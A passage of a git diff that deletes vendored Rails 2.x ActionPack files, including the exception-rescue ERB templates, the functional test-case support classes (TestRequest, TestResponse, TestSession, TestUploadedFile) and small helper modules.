-          raise ArgumentError, "Unknown MIME type #{options[:type]}" unless Mime::EXTENSION_LOOKUP.has_key?(content_type.to_s)
-          content_type = Mime::Type.lookup_by_extension(content_type.to_s)
-        end
-        content_type = content_type.to_s.strip # fixes a problem with extra '\r' with some browsers
-
-        headers.merge!(
-          'Content-Length'            => options[:length].to_s,
-          'Content-Type'              => content_type,
-          'Content-Disposition'       => disposition,
-          'Content-Transfer-Encoding' => 'binary'
-        )
-
-        # Fix a problem with IE 6.0 on opening downloaded files:
-        # If Cache-Control: no-cache is set (which Rails does by default),
-        # IE removes the file it just downloaded from its cache immediately
-        # after it displays the "open/save" dialog, which means that if you
-        # hit "open" the file isn't there anymore when the application that
-        # is called for handling the download is run, so let's workaround that
-        headers['Cache-Control'] = 'private' if headers['Cache-Control'] == 'no-cache'
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/string_coercion.rb b/vendor/rails/actionpack/lib/action_controller/string_coercion.rb
deleted file mode 100644
index 6d8c24e9..00000000
--- a/vendor/rails/actionpack/lib/action_controller/string_coercion.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-module ActionController
-  class StringCoercion
-    class UglyBody < ActiveSupport::BasicObject
-      def initialize(body)
-        @body = body
-      end
-
-      def each
-        @body.each do |part|
-          yield part.to_s
-        end
-      end
-
-      private
-        def method_missing(*args, &block)
-          @body.__send__(*args, &block)
-        end
-    end
-
-    def initialize(app)
-      @app = app
-    end
-
-    def call(env)
-      status, headers, body = @app.call(env)
-      [status, headers, UglyBody.new(body)]
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/_request_and_response.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/_request_and_response.erb
deleted file mode 100644
index 64b34650..00000000
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/_request_and_response.erb
+++ /dev/null
@@ -1,24 +0,0 @@
-<% unless @exception.blamed_files.blank? %>
-  <% if (hide = @exception.blamed_files.length > 8) %>
-    <a href="#" onclick="document.getElementById('blame_trace').style.display='block'; return false;">Show blamed files</a>
-  <% end %>
-  <pre id="blame_trace" <%='style="display:none"' if hide %>><code><%=h @exception.describe_blame %></code></pre>
-<% end %>
-
-<%
-  clean_params = request.parameters.clone
-  clean_params.delete("action")
-  clean_params.delete("controller")
-
-  request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
-%>
-
-<h2 style="margin-top: 30px">Request</h2>
-<p><b>Parameters</b>: <pre><%=h request_dump %></pre></p>
-
-<p><a href="#" onclick="document.getElementById('session_dump').style.display='block'; return false;">Show session dump</a></p>
-<div id="session_dump" style="display:none"><%= debug(request.session.instance_variable_get("@data")) %></div>
-
-
-<h2 style="margin-top: 30px">Response</h2>
-<p><b>Headers</b>: <pre><%=h response ? response.headers.inspect.gsub(',', ",\n") : 'None' %></pre></p>
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/_trace.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/_trace.erb
deleted file mode 100644
index f8f6b424..00000000
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/_trace.erb
+++ /dev/null
@@ -1,26 +0,0 @@
-<%
-  traces = [
-    ["Application Trace", @exception.application_backtrace],
-    ["Framework Trace", @exception.framework_backtrace],
-    ["Full Trace", @exception.clean_backtrace]
-  ]
-  names = traces.collect {|name, trace| name}
-%>
-
-<p><code>RAILS_ROOT: <%= defined?(RAILS_ROOT) ? RAILS_ROOT : "unset" %></code></p>
-
-<div id="traces">
-  <% names.each do |name| %>
-    <%
-      show = "document.getElementById('#{name.gsub /\s/, '-'}').style.display='block';"
-      hide = (names - [name]).collect {|hide_name| "document.getElementById('#{hide_name.gsub /\s/, '-'}').style.display='none';"}
-    %>
-    <a href="#" onclick="<%= hide.join %><%= show %>; return false;"><%= name %></a> <%= '|' unless names.last == name %>
-  <% end %>
-
-  <% traces.each do |name, trace| %>
-    <div id="<%= name.gsub /\s/, '-' %>" style="display: <%= name == "Application Trace" ? 'block' : 'none' %>;">
-      <pre><code><%=h trace.join "\n" %></code></pre>
-    </div>
-  <% end %>
-</div>
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/diagnostics.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/diagnostics.erb
deleted file mode 100644
index 669da1b2..00000000
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/diagnostics.erb
+++ /dev/null
@@ -1,11 +0,0 @@
-<h1>
-  <%=h @exception.class.to_s %>
-  <% if request.parameters['controller'] %>
-    in <%=h request.parameters['controller'].humanize %>Controller<% if request.parameters['action'] %>#<%=h request.parameters['action'] %><% end %>
-  <% end %>
-</h1>
-<pre><%=h @exception.clean_message %></pre>
-
-<%= render :file => @rescues_path["rescues/_trace.erb"] %>
-
-<%= render :file => @rescues_path["rescues/_request_and_response.erb"] %>
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/layout.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/layout.erb
deleted file mode 100644
index 4a04742e..00000000
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/layout.erb
+++ /dev/null
@@ -1,29 +0,0 @@
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
-  <title>Action Controller: Exception caught</title>
-  <style>
-    body { background-color: #fff; color: #333; }
-
-    body, p, ol, ul, td {
-      font-family: verdana, arial, helvetica, sans-serif;
-      font-size:   13px;
-      line-height: 18px;
-    }
-
-    pre {
-      background-color: #eee;
-      padding: 10px;
-      font-size: 11px;
-    }
-
-    a { color: #000; }
-    a:visited { color: #666; }
-    a:hover { color: #fff; background-color:#000; }
-  </style>
-</head>
-<body>
-
-<%= @contents %>
-
-</body>
-</html>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/missing_template.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/missing_template.erb
deleted file mode 100644
index dbfdf769..00000000
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/missing_template.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<h1>Template is missing</h1>
-<p><%=h @exception.message %></p>
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/routing_error.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/routing_error.erb
deleted file mode 100644
index ccfa858c..00000000
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/routing_error.erb
+++ /dev/null
@@ -1,10 +0,0 @@
-<h1>Routing Error</h1>
-<p><pre><%=h @exception.message %></pre></p>
-<% unless @exception.failures.empty? %><p>
-  <h2>Failure reasons:</h2>
-  <ol>
-  <% @exception.failures.each do |route, reason| %>
-    <li><code><%=h route.inspect.gsub('\\', '') %></code> failed because <%=h reason.downcase %></li>
-  <% end %>
-  </ol>
-</p><% end %>
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/template_error.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/template_error.erb
deleted file mode 100644
index 2e34e03b..00000000
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/template_error.erb
+++ /dev/null
@@ -1,21 +0,0 @@
-<h1>
-  <%=h @exception.original_exception.class.to_s %> in
-  <%=h request.parameters["controller"].capitalize if request.parameters["controller"]%>#<%=h request.parameters["action"] %>
-</h1>
-
-<p>
-  Showing <i><%=h @exception.file_name %></i> where line <b>#<%=h @exception.line_number %></b> raised:
-  <pre><code><%=h @exception.message %></code></pre>
-</p>
-
-<p>Extracted source (around line <b>#<%=h @exception.line_number %></b>):
-<pre><code><%=h @exception.source_extract %></code></pre></p>
-
-<p><%=h @exception.sub_template_message %></p>
-
-<% @real_exception = @exception
-   @exception = @exception.original_exception || @exception %>
-<%= render :file => @rescues_path["rescues/_trace.erb"] %>
-<% @exception = @real_exception %>
-
-<%= render :file => @rescues_path["rescues/_request_and_response.erb"] %>
diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/unknown_action.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/unknown_action.erb
deleted file mode 100644
index 683379da..00000000
--- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/unknown_action.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<h1>Unknown action</h1>
-<p><%=h @exception.message %></p>
diff --git a/vendor/rails/actionpack/lib/action_controller/test_case.rb b/vendor/rails/actionpack/lib/action_controller/test_case.rb
deleted file mode 100644
index 62286ff3..00000000
--- a/vendor/rails/actionpack/lib/action_controller/test_case.rb
+++ /dev/null
@@ -1,209 +0,0 @@
-require 'active_support/test_case'
-require 'action_controller/test_process'
-
-module ActionController
-  # Superclass for ActionController functional tests. Functional tests allow you to
-  # test a single controller action per test method. This should not be confused with
-  # integration tests (see ActionController::IntegrationTest), which are more like
-  # "stories" that can involve multiple controllers and mutliple actions (i.e. multiple
-  # different HTTP requests).
-  #
-  # == Basic example
-  #
-  # Functional tests are written as follows:
-  # 1. First, one uses the +get+, +post+, +put+, +delete+ or +head+ method to simulate
-  #    an HTTP request.
-  # 2. Then, one asserts whether the current state is as expected. "State" can be anything:
-  #    the controller's HTTP response, the database contents, etc.
-  #
-  # For example:
-  #
-  #   class BooksControllerTest < ActionController::TestCase
-  #     def test_create
-  #       # Simulate a POST response with the given HTTP parameters.
-  #       post(:create, :book => { :title => "Love Hina" })
-  #
-  #       # Assert that the controller tried to redirect us to
-  #       # the created book's URI.
-  #       assert_response :found
-  #
-  #       # Assert that the controller really put the book in the database.
-  #       assert_not_nil Book.find_by_title("Love Hina")
-  #     end
-  #   end
-  #
-  # == Special instance variables
-  #
-  # ActionController::TestCase will also automatically provide the following instance
-  # variables for use in the tests:
-  #
-  # <b>@controller</b>::
-  #      The controller instance that will be tested.
-  # <b>@request</b>::
-  #      An ActionController::TestRequest, representing the current HTTP
-  #      request. You can modify this object before sending the HTTP request. For example,
-  #      you might want to set some session properties before sending a GET request.
-  # <b>@response</b>::
-  #      An ActionController::TestResponse object, representing the response
-  #      of the last HTTP response. In the above example, <tt>@response</tt> becomes valid
-  #      after calling +post+. If the various assert methods are not sufficient, then you
-  #      may use this object to inspect the HTTP response in detail.
-  #
-  # (Earlier versions of Rails required each functional test to subclass
-  # Test::Unit::TestCase and define @controller, @request, @response in +setup+.)
-  #
-  # == Controller is automatically inferred
-  #
-  # ActionController::TestCase will automatically infer the controller under test
-  # from the test class name. If the controller cannot be inferred from the test
-  # class name, you can explicity set it with +tests+.
-  #
-  #   class SpecialEdgeCaseWidgetsControllerTest < ActionController::TestCase
-  #     tests WidgetController
-  #   end
-  #
-  # == Testing controller internals
-  #
-  # In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions
-  # can be used against. These collections are:
-  #
-  # * assigns: Instance variables assigned in the action that are available for the view.
-  # * session: Objects being saved in the session.
-  # * flash: The flash objects currently in the session.
-  # * cookies: Cookies being sent to the user on this request.
-  #
-  # These collections can be used just like any other hash:
-  #
-  #   assert_not_nil assigns(:person) # makes sure that a @person instance variable was set
-  #   assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
-  #   assert flash.empty? # makes sure that there's nothing in the flash
-  #
-  # For historic reasons, the assigns hash uses string-based keys. So assigns[:person] won't work, but assigns["person"] will. To
-  # appease our yearning for symbols, though, an alternative accessor has been devised using a method call instead of index referencing.
-  # So assigns(:person) will work just like assigns["person"], but again, assigns[:person] will not work.
-  #
-  # On top of the collections, you have the complete url that a given action redirected to available in redirect_to_url.
-  #
-  # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another
-  # action call which can then be asserted against.
-  #
-  # == Manipulating the request collections
-  #
-  # The collections described above link to the response, so you can test if what the actions were expected to do happened. But
-  # sometimes you also want to manipulate these collections in the incoming request. This is really only relevant for sessions
-  # and cookies, though. For sessions, you just do:
-  #
-  #   @request.session[:key] = "value"
-  #   @request.cookies["key"] = "value"
-  #
-  # == Testing named routes
-  #
-  # If you're using named routes, they can be easily tested using the original named routes' methods straight in the test case.
-  # Example:
-  #
-  #  assert_redirected_to page_url(:title => 'foo')
-  class TestCase < ActiveSupport::TestCase
-    include TestProcess
-
-    def initialize(*args)
-      super
-      @controller = nil
-    end
-
-    module Assertions
-      %w(response selector tag dom routing model).each do |kind|
-        include ActionController::Assertions.const_get("#{kind.camelize}Assertions")
-      end
-
-      def clean_backtrace(&block)
-        yield
-      rescue ActiveSupport::TestCase::Assertion => error
-        framework_path = Regexp.new(File.expand_path("#{File.dirname(__FILE__)}/assertions"))
-        error.backtrace.reject! { |line| File.expand_path(line) =~ framework_path }
-        raise
-      end
-    end
-    include Assertions
-
-    # When the request.remote_addr remains the default for testing, which is 0.0.0.0, the exception is simply raised inline
-    # (bystepping the regular exception handling from rescue_action). If the request.remote_addr is anything else, the regular
-    # rescue_action process takes place. This means you can test your rescue_action code by setting remote_addr to something else
-    # than 0.0.0.0.
-    #
-    # The exception is stored in the exception accessor for further inspection.
-    module RaiseActionExceptions
-      def self.included(base)
-        base.class_eval do
-          attr_accessor :exception
-          protected :exception, :exception=
-        end
-      end
-
-      protected
-        def rescue_action_without_handler(e)
-          self.exception = e
-
-          if request.remote_addr == "0.0.0.0"
-            raise(e)
-          else
-            super(e)
-          end
-        end
-    end
-
-    setup :setup_controller_request_and_response
-
-    @@controller_class = nil
-
-    class << self
-      # Sets the controller class name. Useful if the name can't be inferred from test class.
-      # Expects +controller_class+ as a constant. Example: <tt>tests WidgetController</tt>.
-      def tests(controller_class)
-        self.controller_class = controller_class
-      end
-
-      def controller_class=(new_class)
-        prepare_controller_class(new_class) if new_class
-        write_inheritable_attribute(:controller_class, new_class)
-      end
-
-      def controller_class
-        if current_controller_class = read_inheritable_attribute(:controller_class)
-          current_controller_class
-        else
-          self.controller_class = determine_default_controller_class(name)
-        end
-      end
-
-      def determine_default_controller_class(name)
-        name.sub(/Test$/, '').constantize
-      rescue NameError
-        nil
-      end
-
-      def prepare_controller_class(new_class)
-        new_class.send :include, RaiseActionExceptions
-      end
-    end
-
-    def setup_controller_request_and_response
-      @request = TestRequest.new
-      @response = TestResponse.new
-
-      if klass = self.class.controller_class
-        @controller ||= klass.new rescue nil
-      end
-
-      if @controller
-        @controller.request = @request
-        @controller.params = {}
-        @controller.send(:initialize_current_url)
-      end
-    end
-
-    # Cause the action to be rescued according to the regular rules for rescue_action when the visitor is not local
-    def rescue_action_in_public!
-      @request.remote_addr = '208.77.188.166' # example.com
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/test_process.rb b/vendor/rails/actionpack/lib/action_controller/test_process.rb
deleted file mode 100644
index db264987..00000000
--- a/vendor/rails/actionpack/lib/action_controller/test_process.rb
+++ /dev/null
@@ -1,580 +0,0 @@
-require 'rack/session/abstract/id'
-module ActionController #:nodoc:
-  class TestRequest < Request #:nodoc:
-    attr_accessor :cookies, :session_options
-    attr_accessor :query_parameters, :path, :session
-    attr_accessor :host
-
-    def self.new(env = {})
-      super
-    end
-
-    def initialize(env = {})
-      super(Rack::MockRequest.env_for("/").merge(env))
-
-      @query_parameters   = {}
-      @session            = TestSession.new
-      default_rack_options = Rack::Session::Abstract::ID::DEFAULT_OPTIONS
-      @session_options    ||= {:id => generate_sid(default_rack_options[:sidbits])}.merge(default_rack_options)
-
-      initialize_default_values
-      initialize_containers
-    end
-
-    def reset_session
-      @session.reset
-    end
-
-    # Wraps raw_post in a StringIO.
-    def body_stream #:nodoc:
-      StringIO.new(raw_post)
-    end
-
-    # Either the RAW_POST_DATA environment variable or the URL-encoded request
-    # parameters.
-    def raw_post
-      @env['RAW_POST_DATA'] ||= begin
-        data = url_encoded_request_parameters
-        data.force_encoding(Encoding::BINARY) if data.respond_to?(:force_encoding)
-        data
-      end
-    end
-
-    def port=(number)
-      @env["SERVER_PORT"] = number.to_i
-    end
-
-    def action=(action_name)
-      @query_parameters.update({ "action" => action_name })
-      @parameters = nil
-    end
-
-    # Used to check AbstractRequest's request_uri functionality.
-    # Disables the use of @path and @request_uri so superclass can handle those.
-    def set_REQUEST_URI(value)
-      @env["REQUEST_URI"] = value
-      @request_uri = nil
-      @path = nil
-    end
-
-    def request_uri=(uri)
-      @request_uri = uri
-      @path = uri.split("?").first
-    end
-
-    def request_method=(method)
-      @request_method = method
-    end
-
-    def accept=(mime_types)
-      @env["HTTP_ACCEPT"] = Array(mime_types).collect { |mime_types| mime_types.to_s }.join(",")
-      @accepts = nil
-    end
-
-    def if_modified_since=(last_modified)
-      @env["HTTP_IF_MODIFIED_SINCE"] = last_modified
-    end
-
-    def if_none_match=(etag)
-      @env["HTTP_IF_NONE_MATCH"] = etag
-    end
-
-    def remote_addr=(addr)
-      @env['REMOTE_ADDR'] = addr
-    end
-
-    def request_uri(*args)
-      @request_uri || super()
-    end
-
-    def path(*args)
-      @path || super()
-    end
-
-    def assign_parameters(controller_path, action, parameters = {})
-      parameters = parameters.symbolize_keys.merge(:controller => controller_path, :action => action)
-      extra_keys = ActionController::Routing::Routes.extra_keys(parameters)
-      non_path_parameters = get? ? query_parameters : request_parameters
-      parameters.each do |key, value|
-        if value.is_a? Fixnum
-          value = value.to_s
-        elsif value.is_a? Array
-          value = ActionController::Routing::PathSegment::Result.new(value)
-        end
-
-        if extra_keys.include?(key.to_sym)
-          non_path_parameters[key] = value
-        else
-          path_parameters[key.to_s] = value
-        end
-      end
-      raw_post # populate env['RAW_POST_DATA']
-      @parameters = nil # reset TestRequest#parameters to use the new path_parameters
-    end
-
-    def recycle!
-      @env["action_controller.request.request_parameters"] = {}
-      self.query_parameters   = {}
-      self.path_parameters    = {}
-      @headers, @request_method, @accepts, @content_type = nil, nil, nil, nil
-    end
-
-    def user_agent=(user_agent)
-      @env['HTTP_USER_AGENT'] = user_agent
-    end
-
-    private
-      def generate_sid(sidbits)
-        "%0#{sidbits / 4}x" % rand(2**sidbits - 1)
-      end
-
-      def initialize_containers
-        @cookies = {}
-      end
-
-      def initialize_default_values
-        @host                    = "test.host"
-        @request_uri             = "/"
-        @env['HTTP_USER_AGENT']  = "Rails Testing"
-        @env['REMOTE_ADDR']      = "0.0.0.0"
-        @env["SERVER_PORT"]      = 80
-        @env['REQUEST_METHOD']   = "GET"
-      end
-
-      def url_encoded_request_parameters
-        params = self.request_parameters.dup
-
-        %w(controller action only_path).each do |k|
-          params.delete(k)
-          params.delete(k.to_sym)
-        end
-
-        params.to_query
-      end
-  end
-
-  # A refactoring of TestResponse to allow the same behavior to be applied
-  # to the "real" CgiResponse class in integration tests.
-  module TestResponseBehavior #:nodoc:
-    # The response code of the request
-    def response_code
-      status.to_s[0,3].to_i rescue 0
-    end
-
-    # Returns a String to ensure compatibility with Net::HTTPResponse
-    def code
-      status.to_s.split(' ')[0]
-    end
-
-    def message
-      status.to_s.split(' ',2)[1]
-    end
-
-    # Was the response successful?
-    def success?
-      (200..299).include?(response_code)
-    end
-
-    # Was the URL not found?
-    def missing?
-      response_code == 404
-    end
-
-    # Were we redirected?
-    def redirect?
-      (300..399).include?(response_code)
-    end
-
-    # Was there a server-side error?
-    def error?
-      (500..599).include?(response_code)
-    end
-
-    alias_method :server_error?, :error?
-
-    # Was there a client client?
-    def client_error?
-      (400..499).include?(response_code)
-    end
-
-    # Returns the redirection location or nil
-    def redirect_url
-      headers['Location']
-    end
-
-    # Does the redirect location match this regexp pattern?
-    def redirect_url_match?( pattern )
-      return false if redirect_url.nil?
-      p = Regexp.new(pattern) if pattern.class == String
-      p = pattern if pattern.class == Regexp
-      return false if p.nil?
-      p.match(redirect_url) != nil
-    end
-
-    # Returns the template of the file which was used to
-    # render this response (or nil)
-    def rendered
-      template.instance_variable_get(:@_rendered)
-    end
-
-    # A shortcut to the flash. Returns an empty hash if no session flash exists.
-    def flash
-      session['flash'] || {}
-    end
-
-    # Do we have a flash?
-    def has_flash?
-      !flash.empty?
-    end
-
-    # Do we have a flash that has contents?
-    def has_flash_with_contents?
-      !flash.empty?
-    end
-
-    # Does the specified flash object exist?
-    def has_flash_object?(name=nil)
-      !flash[name].nil?
-    end
-
-    # Does the specified object exist in the session?
-    def has_session_object?(name=nil)
-      !session[name].nil?
-    end
-
-    # A shortcut to the template.assigns
-    def template_objects
-      template.assigns || {}
-    end
-
-    # Does the specified template object exist?
-    def has_template_object?(name=nil)
-      !template_objects[name].nil?
-    end
-
-    # Returns the response cookies, converted to a Hash of (name => value) pairs
-    #
-    #   assert_equal 'AuthorOfNewPage', r.cookies['author']
-    def cookies
-      cookies = {}
-      Array(headers['Set-Cookie']).each do |cookie|
-        key, value = cookie.split(";").first.split("=").map {|val| Rack::Utils.unescape(val)}
-        cookies[key] = value
-      end
-      cookies
-    end
-
-    # Returns binary content (downloadable file), converted to a String
-    def binary_content
-      raise "Response body is not a Proc: #{body.inspect}" unless body.kind_of?(Proc)
-      require 'stringio'
-
-      sio = StringIO.new
-      body.call(self, sio)
-
-      sio.rewind
-      sio.read
-    end
-  end
-
-  # Integration test methods such as ActionController::Integration::Session#get
-  # and ActionController::Integration::Session#post return objects of class
-  # TestResponse, which represent the HTTP response results of the requested
-  # controller actions.
-  #
-  # See Response for more information on controller response objects.
-  class TestResponse < Response
-    include TestResponseBehavior
-
-    def recycle!
-      headers.delete('ETag')
-      headers.delete('Last-Modified')
-    end
-  end
-
-  class TestSession < Hash #:nodoc:
-    attr_accessor :session_id
-
-    def initialize(attributes = nil)
-      reset_session_id
-      replace_attributes(attributes)
-    end
-
-    def reset
-      reset_session_id
-      replace_attributes({ })
-    end
-
-    def data
-      to_hash
-    end
-
-    def [](key)
-      super(key.to_s)
-    end
-
-    def []=(key, value)
-      super(key.to_s, value)
-    end
-
-    def update(hash = nil)
-      if hash.nil?
-        ActiveSupport::Deprecation.warn('use replace instead', caller)
-        replace({})
-      else
-        super(hash)
-      end
-    end
-
-    def delete(key = nil)
-      if key.nil?
-        ActiveSupport::Deprecation.warn('use clear instead', caller)
-        clear
-      else
-        super(key.to_s)
-      end
-    end
-
-    def close
-      ActiveSupport::Deprecation.warn('sessions should no longer be closed', caller)
-    end
-
-  private
-
-    def reset_session_id
-      @session_id = ''
-    end
-
-    def replace_attributes(attributes = nil)
-      attributes ||= {}
-      replace(attributes.stringify_keys)
-    end
-  end
-
-  # Essentially generates a modified Tempfile object similar to the object
-  # you'd get from the standard library CGI module in a multipart
-  # request. This means you can use an ActionController::TestUploadedFile
-  # object in the params of a test request in order to simulate
-  # a file upload.
-  #
-  # Usage example, within a functional test:
-  #   post :change_avatar, :avatar => ActionController::TestUploadedFile.new(ActionController::TestCase.fixture_path + '/files/spongebob.png', 'image/png')
-  #
-  # Pass a true third parameter to ensure the uploaded file is opened in binary mode (only required for Windows):
-  #   post :change_avatar, :avatar => ActionController::TestUploadedFile.new(ActionController::TestCase.fixture_path + '/files/spongebob.png', 'image/png', :binary)
-  require 'tempfile'
-  class TestUploadedFile
-    # The filename, *not* including the path, of the "uploaded" file
-    attr_reader :original_filename
-
-    # The content type of the "uploaded" file
-    attr_accessor :content_type
-
-    def initialize(path, content_type = Mime::TEXT, binary = false)
-      raise "#{path} file does not exist" unless File.exist?(path)
-      @content_type = content_type
-      @original_filename = path.sub(/^.*#{File::SEPARATOR}([^#{File::SEPARATOR}]+)$/) { $1 }
-      @tempfile = Tempfile.new(@original_filename)
-      @tempfile.set_encoding(Encoding::BINARY) if @tempfile.respond_to?(:set_encoding)
-      @tempfile.binmode if binary
-      FileUtils.copy_file(path, @tempfile.path)
-    end
-
-    def path #:nodoc:
-      @tempfile.path
-    end
-
-    alias local_path path
-
-    def method_missing(method_name, *args, &block) #:nodoc:
-      @tempfile.__send__(method_name, *args, &block)
-    end
-  end
-
-  module TestProcess
-    def self.included(base)
-      # Executes a request simulating GET HTTP method and set/volley the response
-      def get(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "GET")
-      end
-
-      # Executes a request simulating POST HTTP method and set/volley the response
-      def post(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "POST")
-      end
-
-      # Executes a request simulating PUT HTTP method and set/volley the response
-      def put(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "PUT")
-      end
-
-      # Executes a request simulating DELETE HTTP method and set/volley the response
-      def delete(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "DELETE")
-      end
-
-      # Executes a request simulating HEAD HTTP method and set/volley the response
-      def head(action, parameters = nil, session = nil, flash = nil)
-        process(action, parameters, session, flash, "HEAD")
-      end
-    end
-
-    def process(action, parameters = nil, session = nil, flash = nil, http_method = 'GET')
-      # Sanity check for required instance variables so we can give an
-      # understandable error message.
-      %w(@controller @request @response).each do |iv_name|
-        if !(instance_variable_names.include?(iv_name) || instance_variable_names.include?(iv_name.to_sym)) || instance_variable_get(iv_name).nil?
-          raise "#{iv_name} is nil: make sure you set it in your test's setup method."
-        end
-      end
-
-      @request.recycle!
-      @response.recycle!
-
-      @html_document = nil
-      @request.env['REQUEST_METHOD'] = http_method
-
-      @request.action = action.to_s
-
-      parameters ||= {}
-      @request.assign_parameters(@controller.class.controller_path, action.to_s, parameters)
-
-      @request.session = ActionController::TestSession.new(session) unless session.nil?
-      @request.session["flash"] = ActionController::Flash::FlashHash.new.update(flash) if flash
-      build_request_uri(action, parameters)
-
-      Base.class_eval { include ProcessWithTest } unless Base < ProcessWithTest
-      @controller.process_with_test(@request, @response)
-    end
-
-    def xml_http_request(request_method, action, parameters = nil, session = nil, flash = nil)
-      @request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
-      @request.env['HTTP_ACCEPT'] =  [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
-      __send__(request_method, action, parameters, session, flash).tap do
-        @request.env.delete 'HTTP_X_REQUESTED_WITH'
-        @request.env.delete 'HTTP_ACCEPT'
-      end
-    end
-    alias xhr :xml_http_request
-
-    def assigns(key = nil)
-      if key.nil?
-        @response.template.assigns
-      else
-        @response.template.assigns[key.to_s]
-      end
-    end
-
-    def session
-      @request.session
-    end
-
-    def flash
-      @response.flash
-    end
-
-    def cookies
-      @response.cookies
-    end
-
-    def redirect_to_url
-      @response.redirect_url
-    end
-
-    def build_request_uri(action, parameters)
-      unless @request.env['REQUEST_URI']
-        options = @controller.__send__(:rewrite_options, parameters)
-        options.update(:only_path => true, :action => action)
-
-        url = ActionController::UrlRewriter.new(@request, parameters)
-        @request.set_REQUEST_URI(url.rewrite(options))
-      end
-    end
-
-    def html_document
-      xml = @response.content_type =~ /xml$/
-      @html_document ||= HTML::Document.new(@response.body, false, xml)
-    end
-
-    def find_tag(conditions)
-      html_document.find(conditions)
-    end
-
-    def find_all_tag(conditions)
-      html_document.find_all(conditions)
-    end
-
-    def method_missing(selector, *args, &block)
-      if @controller && ActionController::Routing::Routes.named_routes.helpers.include?(selector)
-        @controller.send(selector, *args, &block)
-      else
-        super
-      end
-    end
-
-    # Shortcut for <tt>ActionController::TestUploadedFile.new(ActionController::TestCase.fixture_path + path, type)</tt>:
-    #
-    #   post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png')
-    #
-    # To upload binary files on Windows, pass <tt>:binary</tt> as the last parameter.
-    # This will not affect other platforms:
-    #
-    #   post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png', :binary)
-    def fixture_file_upload(path, mime_type = nil, binary = false)
-      fixture_path = ActionController::TestCase.send(:fixture_path) if ActionController::TestCase.respond_to?(:fixture_path)
-      ActionController::TestUploadedFile.new("#{fixture_path}#{path}", mime_type, binary)
-    end
-
-    # A helper to make it easier to test different route configurations.
-    # This method temporarily replaces ActionController::Routing::Routes
-    # with a new RouteSet instance.
-    #
-    # The new instance is yielded to the passed block. Typically the block
-    # will create some routes using <tt>map.draw { map.connect ... }</tt>:
-    #
-    #   with_routing do |set|
-    #     set.draw do |map|
-    #       map.connect ':controller/:action/:id'
-    #         assert_equal(
-    #           ['/content/10/show', {}],
-    #           map.generate(:controller => 'content', :id => 10, :action => 'show')
-    #       end
-    #     end
-    #   end
-    #
-    def with_routing
-      real_routes = ActionController::Routing::Routes
-      ActionController::Routing.module_eval { remove_const :Routes }
-
-      temporary_routes = ActionController::Routing::RouteSet.new
-      ActionController::Routing.module_eval { const_set :Routes, temporary_routes }
-
-      yield temporary_routes
-    ensure
-      if ActionController::Routing.const_defined? :Routes
-        ActionController::Routing.module_eval { remove_const :Routes }
-      end
-      ActionController::Routing.const_set(:Routes, real_routes) if real_routes
-    end
-  end
-
-  module ProcessWithTest #:nodoc:
-    def self.included(base)
-      base.class_eval { attr_reader :assigns }
-    end
-
-    def process_with_test(*args)
-      process(*args).tap { set_test_assigns }
-    end
-
-    private
-      def set_test_assigns
-        @assigns = {}
-        (instance_variable_names - self.class.protected_instance_variables).each do |var|
-          name, value = var[1..-1], instance_variable_get(var)
-          @assigns[name] = value
-          response.template.assigns[name] = value if response
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/translation.rb b/vendor/rails/actionpack/lib/action_controller/translation.rb
deleted file mode 100644
index 65e9eddb..00000000
--- a/vendor/rails/actionpack/lib/action_controller/translation.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module ActionController
-  module Translation
-    def translate(*args)
-      I18n.translate(*args)
-    end
-    alias :t :translate
-
-    def localize(*args)
-      I18n.localize(*args)
-    end
-    alias :l :localize
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_controller/uploaded_file.rb b/vendor/rails/actionpack/lib/action_controller/uploaded_file.rb
deleted file mode 100644
index 95efc742..00000000
--- a/vendor/rails/actionpack/lib/action_controller/uploaded_file.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-module ActionController
-  module UploadedFile
-    def self.included(base)
